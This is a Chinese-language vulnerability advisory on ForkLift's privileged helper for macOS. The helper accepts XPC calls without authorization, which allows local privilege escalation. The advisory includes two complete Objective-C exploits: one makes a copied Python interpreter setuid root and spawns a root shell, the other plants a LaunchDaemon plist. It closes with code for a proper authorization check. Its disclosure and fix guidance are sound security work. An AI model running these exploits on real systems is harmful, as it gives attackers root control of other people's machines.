安装 Forklift 时,一个新的辅助工具 com.binarynights.ForkLiftHelper 会自动安装到 Mac OS X 的 /Library/PrivilegedHelperTools/ 目录中。
分析这个处理 XPC 消息的辅助工具,发现了多种在 Mac OS X 上从用户权限提升到 root 权限的方法。
在默认情况下,接受 XPC 调用时,HelperTool listener:shouldAcceptNewConnection 即 (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection 函数会执行。该函数用于建立 XPC 连接的初始步骤。通常,此函数负责执行调用方的授权——然而,com.binarynights.ForkLiftHelper 的此函数并未实现任何授权检查。因此,可以在未授权的情况下通过 XPC 调用任何暴露的函数。
以下函数通过 XPC 暴露给调用方:
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
利用此辅助工具的第一种方法如下:
将 Python 解释器等复制到用户可控制的目录,然后调用 XPC 函数 changeOwner,参数为 @"<路径>" owner:0 group:0。这会将 Python 解释器的所有权更改为 root。
其次,可以通过向 changePermissions 函数发送 XPC 请求来设置解释器的 SUID 位,参数为 @"<路径>" permissions:2541。权限 2541 对应于八进制数 4755,这会在二进制文件上设置 SUID 标志。
以下命令将以 root 身份生成一个 shell:
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]
请确保首先将 Python 解释器复制到 /tmp 目录,并命名为 python_copied。
以下利用代码演示了此本地权限提升:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
利用此辅助工具的第二种方法如下:
由于 XPC 调用 moveItem 可以以 root 身份移动任意项目,因此可以先将一个 plist 文件写入 /tmp 目录,然后将其复制到 /Library/LaunchDaemons/ 目录。moveItem 函数使用的参数如下:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"
以下代码会自动添加一个新的启动代理,该代理将在重启时触发:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
"<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
"<plist version=\"1.0\">"
"<dict>"
" <key>Label</key>"
" <string>com.sample.Load</string>"
" <key>ProgramArguments</key>"
" <array>"
" <string>/bin/zsh</string>"
" <string>-c</string>"
" <string>touch /Library/foobar.txt</string>"
" </array>"
" <key>RunAtLoad</key>"
" <true/>"
"</dict>"
"</plist>";
[my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
建议在调用 XPC 辅助工具时强制执行授权检查。
这些授权检查应包含:
有关授权检查的优秀资源可参考来源 [1]。
以下 shouldAcceptNewConnecton 函数示例展示了正确授权检查的不同阶段:
@interface NSXPCConnection(PrivateAuditToken)
// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;
@end
// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
audit_token_t auditToken = connection.auditToken;
NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
SecCodeRef code = NULL;
if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
return NO;
}
// Before checking the requirement make sure that code signing flags
// CS_HARD and CS_KILL are set. Dynamic code signature checks can only
// check the code pages already swapped into memory, so make sure that
// no malicious code can be loaded at a later time. You may want to
// disable this check in debug builds.
CFDictionaryRef csInfo = NULL;
if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
return NO;
} else {
uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
CFRelease(csInfo);
const uint32_t cs_hard = 0x100; // don't load invalid pages
const uint32_t cs_kill = 0x200; // kill process if page is invalid
const uint32_t cs_restrict = 0x800; // prevent debugging
const uint32_t cs_require_lv = 0x2000; // Library Validation
const uint32_t cs_runtime = 0x10000; // hardened runtime
if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
// add all flags to check which are in your code signature!
// In particular, we recommend cs_require_lv and cs_restrict.
return NO; // Not accepted because it can be tampered with
}
}
NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
SecRequirementRef requirement = NULL;
// Check at least the peer's TeamID, e.g.
// "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
abort(); // error in requirement string
}
OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
CFRelease(code);
CFRelease(requirement);
if (status != errSecSuccess) {
return NO;
}
// further initialization of connection goes here...
return YES;
}
[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/